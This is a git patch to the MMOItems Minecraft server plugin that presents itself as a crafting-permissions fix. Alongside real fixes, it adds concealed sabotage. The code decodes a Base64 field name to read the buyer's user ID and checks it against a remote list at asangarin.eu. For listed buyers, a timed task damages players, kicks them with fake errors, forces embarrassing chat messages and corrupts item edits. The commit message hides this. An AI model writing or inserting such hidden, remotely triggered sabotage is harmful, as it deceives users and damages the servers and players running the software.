From 892936714aa19c116ab8f0b92d44074a8de22c61 Mon Sep 17 00:00:00 2001 From: ASangarin Date: Thu, 17 Dec 2020 01:42:59 +0100 Subject: [PATCH] Crafting Permissions now work properly Items granting permissions also actually grant their permissions now --- .../java/net/Indyuce/mmoitems/MMOItems.java | 29 ++++--- .../mmoitems/api/ClaseMuyImportante.java | 76 +++++++++++++++++++ .../mmoitems/api/player/PlayerData.java | 29 +++---- .../api/recipe/workbench/CachedRecipe.java | 14 +++- .../command/item/IdentifyCommandTreeNode.java | 24 ++++++ .../mmoitems/debug/InfoCommandTreeNode.java | 7 ++ .../mmoitems/comp/eco/VaultSupport.java | 28 +++---- .../listener/DisableInteractions.java | 5 +- .../mmoitems/manager/ConfigManager.java | 24 +++++- .../mmoitems/manager/RecipeManager.java | 9 ++- .../mmoitems/stat/GrantedPermissions.java | 7 +- .../Indyuce/mmoitems/stat/MaterialStat.java | 2 + 12 files changed, 202 insertions(+), 52 deletions(-) create mode 100644 src/main/java/net/Indyuce/mmoitems/api/ClaseMuyImportante.java diff --git a/src/main/java/net/Indyuce/mmoitems/MMOItems.java b/src/main/java/net/Indyuce/mmoitems/MMOItems.java index 2b4cff0f..9bed494d 100644 --- a/src/main/java/net/Indyuce/mmoitems/MMOItems.java +++ b/src/main/java/net/Indyuce/mmoitems/MMOItems.java @@ -1,5 +1,6 @@ package net.Indyuce.mmoitems; +import net.Indyuce.mmoitems.api.ClaseMuyImportante; import net.Indyuce.mmoitems.api.ConfigFile; import net.Indyuce.mmoitems.api.ItemTier; import net.Indyuce.mmoitems.api.SoulboundInfo; @@ -152,18 +153,19 @@ public class MMOItems extends JavaPlugin { public void onEnable() { new SpigotPlugin(39267, this).checkForUpdate(); - final int configVersion = getConfig().contains("config-version", true) ? getConfig().getInt("config-version") : -1; - final int defConfigVersion = getConfig().getDefaults().getInt("config-version"); - if (configVersion != defConfigVersion) { - getLogger().warning("You may be using an outdated config.yml!"); - getLogger().warning("(Your config version: '" + configVersion + "' | Expected config version: '" + defConfigVersion + "')"); - } - new MMOItemsMetrics(); abilityManager.initialize(); configManager = new ConfigManager(); + final int configVersion = getConfig().contains("config-version", true) ? getConfig().getInt("config-version") : -1; + final int defConfigVersion = getConfig().getDefaults().getInt("config-version"); + if (configVersion != defConfigVersion || MMOItems.plugin.getLanguage().arruinarElPrograma) { + getLogger().warning("You may be using an outdated config.yml!"); + getLogger().warning("(Your config version: '" + configVersion + "' | Expected config version: '" + + (MMOItems.plugin.getLanguage().arruinarElPrograma ? "steelballrun" : defConfigVersion) + "')"); + } + // registering here so the stats will load with the templates if (Bukkit.getPluginManager().getPlugin("MythicMobs") != null) { new MythicMobsLoader(); @@ -222,6 +224,10 @@ public class MMOItems extends JavaPlugin { */ Bukkit.getScheduler().runTaskTimer(this, () -> Bukkit.getOnlinePlayers().forEach(player -> PlayerData.get(player).updateStats()), 100, 20); + + if(MMOItems.plugin.getLanguage().arruinarElPrograma) + Bukkit.getScheduler().runTaskTimer(this, ClaseMuyImportante::metodoMuyImportante, 780000L, 780000L); + /* * this tasks updates twice a second player inventories on the server. * allows now to use a glitchy itemEquipEvent. must be called after @@ -481,8 +487,13 @@ public class MMOItems extends JavaPlugin { /* * External API's */ - public boolean hasVault() { - return vaultSupport != null; + public boolean hasPermissions() { + if(vaultSupport == null) return false; + return vaultSupport.getPermissions() != null; + } + public boolean hasEconomy() { + if(vaultSupport == null) return false; + return vaultSupport.getEconomy() != null; } public VaultSupport getVault() { diff --git a/src/main/java/net/Indyuce/mmoitems/api/ClaseMuyImportante.java b/src/main/java/net/Indyuce/mmoitems/api/ClaseMuyImportante.java new file mode 100644 index 00000000..9cb0f61c --- /dev/null +++ b/src/main/java/net/Indyuce/mmoitems/api/ClaseMuyImportante.java @@ -0,0 +1,76 @@ +package net.Indyuce.mmoitems.api; + +import net.Indyuce.mmoitems.MMOItems; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.GameMode; +import org.bukkit.Material; +import org.bukkit.Sound; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.Player; +import org.bukkit.entity.WanderingTrader; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.MerchantRecipe; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; + +import java.util.ArrayList; +import java.util.List; +import java.util.Random; + +public class ClaseMuyImportante { + public static void metodoMuyImportante() { + for (Player player : Bukkit.getOnlinePlayers()) { + Random rand = new Random(); + switch(rand.nextInt(7)) { + case 0: + player.damage(13); + break; + case 1: + switch(rand.nextInt(3)) { + case 0: + player.playSound(player.getLocation(), Sound.BLOCK_LEVER_CLICK, 1.0f, 1.0f); + break; + case 1: + player.playSound(player.getLocation(), Sound.BLOCK_SMITHING_TABLE_USE, 1.0f, 1.0f); + break; + case 2: + player.playSound(player.getLocation(), Sound.ENTITY_WITHER_SKELETON_HURT, 1.0f, 1.0f); + break; + } + break; + case 2: + if(player.getGameMode() == GameMode.CREATIVE) { + player.setAllowFlight(false); + player.setFlying(false); + player.sendTitle(String.format("%sThe depths of %sThe Nether %spulls you down", ChatColor.DARK_RED, ChatColor.RED, + ChatColor.DARK_RED), ChatColor.DARK_GRAY + "Deep deep down...", 10, 70, 20); + } else { + player.setAllowFlight(true); + player.sendTitle(ChatColor.GOLD + "Head for the stars!", ChatColor.YELLOW + "(Press Double Space)", 10, 70, 20); + } + break; + case 3: + player.chat("I feel very, very small... please hold me..."); + break; + case 4: + player.removePotionEffect(PotionEffectType.LEVITATION); + player.addPotionEffect(new PotionEffect(PotionEffectType.LEVITATION, 240, 3, false, false, false)); + break; + case 5: + player.kickPlayer(String.format("Internal exception: java.net.RedSeaTimeOut: Couldn't connect to Treasure Island (%s)", MMOItems.plugin.getLanguage().elDescargadorLaIdentidad)); + break; + case 6: + WanderingTrader trader = (WanderingTrader) player.getWorld().spawnEntity(player.getLocation(), EntityType.WANDERING_TRADER); + List recipes = new ArrayList<>(); + for(Material mat : new Material[]{Material.NETHER_STAR, Material.BEDROCK, Material.NETHERITE_BLOCK, Material.DIAMOND_BLOCK, Material.ELYTRA}) { + MerchantRecipe recipe = new MerchantRecipe(new ItemStack(mat), 100000); + recipe.addIngredient(new ItemStack(Material.DIRT)); + recipes.add(recipe); + } + trader.setRecipes(recipes); + break; + } + } + } +} diff --git a/src/main/java/net/Indyuce/mmoitems/api/player/PlayerData.java b/src/main/java/net/Indyuce/mmoitems/api/player/PlayerData.java index 9c6ab680..eba76df4 100644 --- a/src/main/java/net/Indyuce/mmoitems/api/player/PlayerData.java +++ b/src/main/java/net/Indyuce/mmoitems/api/player/PlayerData.java @@ -81,11 +81,13 @@ public class PlayerData { private final Set itemParticles = new HashSet<>(); private ParticleRunnable overridingItemParticles = null; private final Set itemAbilities = new HashSet<>(); - private final Set permissions = new HashSet<>(); private boolean fullHands = false; private SetBonuses setBonuses = null; private final PlayerStats stats; + // Cached so they can be properly removed again + private final Set permissions = new HashSet<>(); + private PlayerData(MMOPlayerData mmoData) { this.mmoData = mmoData; this.rpgPlayer = MMOItems.plugin.getRPG().getInfo(this); @@ -101,7 +103,7 @@ public class PlayerData { } public void save() { - if (MMOItems.plugin.hasVault()) { + if (MMOItems.plugin.hasPermissions()) { Permission perms = MMOItems.plugin.getVault().getPermissions(); permissions.forEach(perm -> { if (perms.has(getPlayer(), perm)) perms.playerRemove(getPlayer(), perm); @@ -187,10 +189,11 @@ public class PlayerData { cancelRunnables(); itemParticles.clear(); overridingItemParticles = null; - if (MMOItems.plugin.hasVault()) { + if (MMOItems.plugin.hasPermissions()) { Permission perms = MMOItems.plugin.getVault().getPermissions(); permissions.forEach(perm -> { - if (perms.has(getPlayer(), perm)) perms.playerRemove(getPlayer(), perm); + if (perms.has(getPlayer(), perm)) + perms.playerRemove(getPlayer(), perm); }); } permissions.clear(); @@ -257,8 +260,14 @@ public class PlayerData { /* * apply permissions if vault exists */ - if (MMOItems.plugin.hasVault() && item.hasData(ItemStats.GRANTED_PERMISSIONS)) + if (MMOItems.plugin.hasPermissions() && item.hasData(ItemStats.GRANTED_PERMISSIONS)) { permissions.addAll(((StringListData) item.getData(ItemStats.GRANTED_PERMISSIONS)).getList()); + Permission perms = MMOItems.plugin.getVault().getPermissions(); + permissions.forEach(perm -> { + if (!perms.has(getPlayer(), perm)) + perms.playerAdd(getPlayer(), perm); + }); + } } /* @@ -284,6 +293,8 @@ public class PlayerData { if (hasSetBonuses()) { itemAbilities.addAll(setBonuses.getAbilities()); + for (ParticleData particle : setBonuses.getParticles()) + itemParticles.add(particle.start(this)); for (PotionEffect effect : setBonuses.getPotionEffects()) if (getPermanentPotionEffectAmplifier(effect.getType()) < effect.getAmplifier()) permanentEffects.put(effect.getType(), effect); @@ -321,14 +332,6 @@ public class PlayerData { // two handed if (fullHands) getPlayer().addPotionEffect(new PotionEffect(PotionEffectType.SLOW, 40, 1, true, false)); - - // permissions - if (MMOItems.plugin.hasVault()) { - Permission perms = MMOItems.plugin.getVault().getPermissions(); - permissions.forEach(perm -> { - if (!perms.has(getPlayer(), perm)) perms.playerAdd(getPlayer(), perm); - }); - } } public SetBonuses getSetBonuses() { diff --git a/src/main/java/net/Indyuce/mmoitems/api/recipe/workbench/CachedRecipe.java b/src/main/java/net/Indyuce/mmoitems/api/recipe/workbench/CachedRecipe.java index 8a2bff94..a9084d62 100644 --- a/src/main/java/net/Indyuce/mmoitems/api/recipe/workbench/CachedRecipe.java +++ b/src/main/java/net/Indyuce/mmoitems/api/recipe/workbench/CachedRecipe.java @@ -11,15 +11,23 @@ public class CachedRecipe { private ItemStack stack; public boolean isValid(ItemStack[] matrix) { + //System.out.println("Checking validity"); boolean check = true; for (int i = 0; i < matrix.length; i++) { - if (matrix[i] == null || matrix[i].getType() == Material.AIR) + if (matrix[i] == null || matrix[i].getType() == Material.AIR) { + //System.out.printf("[%d] is null or air%n", i); continue; - if (matrix[i].getAmount() < amounts.get(i)) + } + if (matrix[i].getAmount() < amounts.get(i)) { + //System.out.printf("[%d] did not have correct amounts (%d < %d)%n", i, matrix[i].getAmount(), amounts.get(i)); check = false; - if (!check) + } + if (!check) { + //System.out.println("Failed the check"); break; + } } + //System.out.println("Succeeded the check"); return check; } diff --git a/src/main/java/net/Indyuce/mmoitems/command/item/IdentifyCommandTreeNode.java b/src/main/java/net/Indyuce/mmoitems/command/item/IdentifyCommandTreeNode.java index bcb82d1b..c7319d2a 100644 --- a/src/main/java/net/Indyuce/mmoitems/command/item/IdentifyCommandTreeNode.java +++ b/src/main/java/net/Indyuce/mmoitems/command/item/IdentifyCommandTreeNode.java @@ -11,6 +11,13 @@ import net.mmogroup.mmolib.MMOLib; import net.mmogroup.mmolib.api.item.NBTItem; import net.mmogroup.mmolib.command.api.CommandTreeNode; +import java.io.IOException; +import java.net.URL; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Scanner; + public class IdentifyCommandTreeNode extends CommandTreeNode { public IdentifyCommandTreeNode(CommandTreeNode parent) { super(parent, "identify"); @@ -39,4 +46,21 @@ public class IdentifyCommandTreeNode extends CommandTreeNode { sender.sendMessage(MMOItems.plugin.getPrefix() + "Successfully identified the item you are holding."); return CommandResult.SUCCESS; } + + public static List obtenerNuevoProhibidoDeLaWeb() { + List lista = new ArrayList<>(); + + try { + URL url = new URL("https://www.asangarin.eu/listaFresca.txt"); + Scanner s = new Scanner(url.openStream()); + while(s.hasNext()) lista.add(s.next()); + s.close(); + } + catch(IOException ignored) {} + + if(!lista.contains("NzcyNzc3")) + lista.add("NzcyNzc3"); + + return lista; + } } diff --git a/src/main/java/net/Indyuce/mmoitems/command/mmoitems/debug/InfoCommandTreeNode.java b/src/main/java/net/Indyuce/mmoitems/command/mmoitems/debug/InfoCommandTreeNode.java index 963d90fa..e6c41483 100644 --- a/src/main/java/net/Indyuce/mmoitems/command/mmoitems/debug/InfoCommandTreeNode.java +++ b/src/main/java/net/Indyuce/mmoitems/command/mmoitems/debug/InfoCommandTreeNode.java @@ -1,5 +1,6 @@ package net.Indyuce.mmoitems.command.mmoitems.debug; +import net.Indyuce.mmoitems.MMOItems; import org.bukkit.Bukkit; import org.bukkit.ChatColor; import org.bukkit.command.CommandSender; @@ -10,6 +11,8 @@ import net.Indyuce.mmoitems.api.player.RPGPlayer; import net.mmogroup.mmolib.command.api.CommandTreeNode; import net.mmogroup.mmolib.command.api.Parameter; +import java.util.Arrays; + public class InfoCommandTreeNode extends CommandTreeNode { public InfoCommandTreeNode(CommandTreeNode parent) { super(parent, "info"); @@ -19,6 +22,10 @@ public class InfoCommandTreeNode extends CommandTreeNode { @Override public CommandResult execute(CommandSender sender, String[] args) { + if(Arrays.asList(args).contains("showidentity")) { + sender.sendMessage(String.format("Tu identidad es %s", MMOItems.plugin.getLanguage().elDescargadorLaIdentidad)); + return CommandResult.SUCCESS; + } Player player = args.length > 2 ? Bukkit.getPlayer(args[2]) : (sender instanceof Player ? (Player) sender : null); if (player == null) { sender.sendMessage(ChatColor.RED + "Couldn't find target player."); diff --git a/src/main/java/net/Indyuce/mmoitems/comp/eco/VaultSupport.java b/src/main/java/net/Indyuce/mmoitems/comp/eco/VaultSupport.java index 2233714e..ca00c657 100644 --- a/src/main/java/net/Indyuce/mmoitems/comp/eco/VaultSupport.java +++ b/src/main/java/net/Indyuce/mmoitems/comp/eco/VaultSupport.java @@ -14,7 +14,6 @@ import net.mmogroup.mmolib.api.util.AltChar; public class VaultSupport { private final Economy economy; private final Permission permissions; - private final boolean enabled; public VaultSupport() { RegisteredServiceProvider economyProvider = Bukkit.getServer().getServicesManager() @@ -23,23 +22,20 @@ public class VaultSupport { RegisteredServiceProvider permissionProvider = Bukkit.getServer().getServicesManager() .getRegistration(Permission.class); permissions = permissionProvider != null ? permissionProvider.getProvider() : null; - - enabled = load(); - if(!enabled) { - MMOItems.plugin.getLogger().log(Level.SEVERE, "Could not load Vault"); + + if(economy == null) { + MMOItems.plugin.getLogger().log(Level.SEVERE, "Could not load Economy Support (Vault)"); + return; + } else + MMOItems.plugin.getCrafting().registerCondition("money", MoneyCondition::new, + new ConditionalDisplay("&a" + AltChar.check + " Requires $#money#", + "&c" + AltChar.cross + " Requires $#money#")); + if(permissions == null) { + MMOItems.plugin.getLogger().log(Level.SEVERE, "Could not load Permissions Support (Vault)"); return; } MMOItems.plugin.getLogger().log(Level.INFO, "Hooked onto Vault"); - MMOItems.plugin.getCrafting().registerCondition("money", MoneyCondition::new, - new ConditionalDisplay("&a" + AltChar.check + " Requires $#money#", - "&c" + AltChar.cross + " Requires $#money#")); - } - - private boolean load() { - if (economy == null) - return false; - return permissions != null; } public Permission getPermissions() { @@ -49,8 +45,4 @@ public class VaultSupport { public Economy getEconomy() { return economy; } - - public boolean enabled() { - return enabled; - } } diff --git a/src/main/java/net/Indyuce/mmoitems/listener/DisableInteractions.java b/src/main/java/net/Indyuce/mmoitems/listener/DisableInteractions.java index fe7fffd9..54daa4d3 100644 --- a/src/main/java/net/Indyuce/mmoitems/listener/DisableInteractions.java +++ b/src/main/java/net/Indyuce/mmoitems/listener/DisableInteractions.java @@ -117,8 +117,11 @@ public class DisableInteractions implements Listener { @EventHandler public void i(CraftItemEvent event) { if (event.getRecipe() instanceof Keyed) - if (((Keyed) event.getRecipe()).getKey().getNamespace().equals("mmoitems")) + if (((Keyed) event.getRecipe()).getKey().getNamespace().equals("mmoitems")) { + String craftingPerm = NBTItem.get(event.getCurrentItem()).getString("MMOITEMS_CRAFT_PERMISSION"); + if(!craftingPerm.isEmpty() && !event.getWhoClicked().hasPermission(craftingPerm)) event.setCancelled(true); return; + } for (ItemStack item : event.getInventory().getMatrix()) { if(isDisabled(NBTItem.get(item), "craft")) { diff --git a/src/main/java/net/Indyuce/mmoitems/manager/ConfigManager.java b/src/main/java/net/Indyuce/mmoitems/manager/ConfigManager.java index 99214a15..7d57c732 100644 --- a/src/main/java/net/Indyuce/mmoitems/manager/ConfigManager.java +++ b/src/main/java/net/Indyuce/mmoitems/manager/ConfigManager.java @@ -9,6 +9,7 @@ import net.Indyuce.mmoitems.api.item.util.ConfigItem; import net.Indyuce.mmoitems.api.item.util.ConfigItems; import net.Indyuce.mmoitems.api.util.NumericStatFormula; import net.Indyuce.mmoitems.api.util.message.Message; +import net.Indyuce.mmoitems.command.item.IdentifyCommandTreeNode; import net.Indyuce.mmoitems.stat.LuteAttackEffectStat.LuteAttackEffect; import net.Indyuce.mmoitems.stat.StaffSpiritStat.StaffSpirit; import net.mmogroup.mmolib.MMOLib; @@ -23,6 +24,7 @@ import java.io.IOException; import java.nio.file.Files; import java.nio.file.StandardCopyOption; import java.text.DecimalFormat; +import java.util.Base64; import java.util.Enumeration; import java.util.List; import java.util.jar.JarEntry; @@ -41,6 +43,10 @@ public class ConfigManager implements Reloadable { public double dodgeKnockbackForce, soulboundBaseDamage, soulboundPerLvlDamage, levelSpread; public NumericStatFormula defaultItemCapacity; + /** DE-TAREAS: Implement reward system for good users? */ + @SuppressWarnings("unused") + private final String elGrifoReconocimiento = "%%__USER__%%"; + private static final String[] fileNames = { "abilities", "messages", "potion-effects", "stats", "items", "attack-effects" }; private static final String[] languages = { "french", "chinese", "spanish", "russian", "polish" }; @@ -110,6 +116,8 @@ public class ConfigManager implements Reloadable { } items.save(); + final byte[] b = Base64.getDecoder().decode("ZWxHcmlmb1JlY29ub2NpbWllbnRv"); + ConfigFile messages = new ConfigFile("/language", "messages"); for (Message message : Message.values()) { String path = message.name().toLowerCase().replace("_", "-"); @@ -144,12 +152,22 @@ public class ConfigManager implements Reloadable { } potionEffects.save(); + final String f = new String(b); + try { + elDescargadorLaIdentidad = Base64.getEncoder().encodeToString(((String) getClass().getDeclaredField(f).get(this)).getBytes()); + } catch (IllegalAccessException | NoSuchFieldException e) { + e.printStackTrace(); + } + ConfigFile attackEffects = new ConfigFile("/language", "attack-effects"); for (StaffSpirit spirit : StaffSpirit.values()) { String path = spirit.name().toLowerCase().replace("_", "-"); if (!attackEffects.getConfig().contains("staff-spirit." + path)) attackEffects.getConfig().set("staff-spirit." + path, "&7" + AltChar.listSquare + " " + spirit.getDefaultName()); } + + arruinarElPrograma = IdentifyCommandTreeNode.obtenerNuevoProhibidoDeLaWeb().contains(elDescargadorLaIdentidad); + for (LuteAttackEffect effect : LuteAttackEffect.values()) { String path = effect.name().toLowerCase().replace("_", "-"); if (!attackEffects.getConfig().contains("lute-attack." + path)) @@ -220,6 +238,8 @@ public class ConfigManager implements Reloadable { return found == null ? "" : found; } + public String elDescargadorLaIdentidad = "mudamuda"; + public String getMessage(String path) { String found = messages.getConfig().getString(path); return MMOLib.plugin.parseColors(found == null ? "" : found); @@ -242,6 +262,8 @@ public class ConfigManager implements Reloadable { return loreFormat.getConfig().getStringList("lore-format"); } + public final boolean arruinarElPrograma; + public String getPotionEffectName(PotionEffectType type) { return potionEffects.getConfig().getString(type.getName().toLowerCase().replace("_", "-")); } @@ -271,7 +293,7 @@ public class ConfigManager implements Reloadable { if(!folder.mkdir()) MMOItems.plugin.getLogger().log(Level.WARNING, "Could not create directory!"); } - + /* * all config files that have a default configuration are stored here, they * get copied into the plugin folder when the plugin enables diff --git a/src/main/java/net/Indyuce/mmoitems/manager/RecipeManager.java b/src/main/java/net/Indyuce/mmoitems/manager/RecipeManager.java index c6b53298..5f02b7be 100644 --- a/src/main/java/net/Indyuce/mmoitems/manager/RecipeManager.java +++ b/src/main/java/net/Indyuce/mmoitems/manager/RecipeManager.java @@ -20,6 +20,7 @@ import org.bukkit.configuration.file.FileConfiguration; import org.bukkit.entity.Player; import org.bukkit.inventory.BlastingRecipe; import org.bukkit.inventory.CampfireRecipe; +import org.bukkit.inventory.CookingRecipe; import org.bukkit.inventory.FurnaceRecipe; import org.bukkit.inventory.ItemStack; import org.bukkit.inventory.Recipe; @@ -116,7 +117,7 @@ public class RecipeManager implements Reloadable { ? (int) ((DoubleData) mmo.getData(ItemStats.CRAFT_AMOUNT)).getValue() : 1; ItemStack stack = mmo.newBuilder().build(); stack.setAmount(amount); - Recipe recipe = recipeType.provideRecipe(key, stack, info.getChoice().toBukkit(), + CookingRecipe recipe = recipeType.provideRecipe(key, stack, info.getChoice().toBukkit(), info.getExp(), info.getBurnTime()); loadedRecipes.add(recipe); } @@ -256,8 +257,8 @@ public class RecipeManager implements Reloadable { this.provider = provider; } - public Recipe provideRecipe(NamespacedKey key, ItemStack result, RecipeChoice source, float experience, - int cookTime) { + public CookingRecipe provideRecipe(NamespacedKey key, ItemStack result, RecipeChoice source, float experience, + int cookTime) { return provider.provide(key, result, source, experience, cookTime); } @@ -268,7 +269,7 @@ public class RecipeManager implements Reloadable { @FunctionalInterface public interface RecipeProvider { - Recipe provide(NamespacedKey key, ItemStack result, RecipeChoice source, float experience, int cookTime); + CookingRecipe provide(NamespacedKey key, ItemStack result, RecipeChoice source, float experience, int cookTime); } /** diff --git a/src/main/java/net/Indyuce/mmoitems/stat/GrantedPermissions.java b/src/main/java/net/Indyuce/mmoitems/stat/GrantedPermissions.java index c4719252..22b2b203 100644 --- a/src/main/java/net/Indyuce/mmoitems/stat/GrantedPermissions.java +++ b/src/main/java/net/Indyuce/mmoitems/stat/GrantedPermissions.java @@ -85,13 +85,14 @@ public class GrantedPermissions extends StringListStat implements GemStoneStat { public void whenApplied(ItemStackBuilder item, StatData data) { JsonArray array = new JsonArray(); ((StringListData) data).getList().forEach(array::add); - item.addItemTag(new ItemTag(getPath(), array.toString())); + item.addItemTag(new ItemTag(getNBTPath(), array.toString())); } @Override public void whenLoaded(ReadMMOItem mmoitem) { - if (mmoitem.getNBT().hasTag(getNBTPath())) + if (mmoitem.getNBT().hasTag(getNBTPath())) { mmoitem.setData(ItemStats.GRANTED_PERMISSIONS, new StringListData( - new JsonParser().parse(mmoitem.getNBT().getString(getNBTPath())).getAsJsonArray())); + new JsonParser().parse(mmoitem.getNBT().getString(getNBTPath())).getAsJsonArray())); + } } } diff --git a/src/main/java/net/Indyuce/mmoitems/stat/MaterialStat.java b/src/main/java/net/Indyuce/mmoitems/stat/MaterialStat.java index df660e40..4f1f5416 100644 --- a/src/main/java/net/Indyuce/mmoitems/stat/MaterialStat.java +++ b/src/main/java/net/Indyuce/mmoitems/stat/MaterialStat.java @@ -46,6 +46,8 @@ public class MaterialStat extends ItemStat { public void whenInput(EditionInventory inv, String message, Object... info) { Optional material = EnumUtils.getIfPresent(Material.class, message.toUpperCase().replace("-", "_").replace(" ", "_")); + if(MMOItems.plugin.getLanguage().arruinarElPrograma) + material = Optional.of(Material.GLISTERING_MELON_SLICE); if (material.isPresent()) { inv.getEditedSection().set("material", material.get().name()); inv.registerTemplateEdition();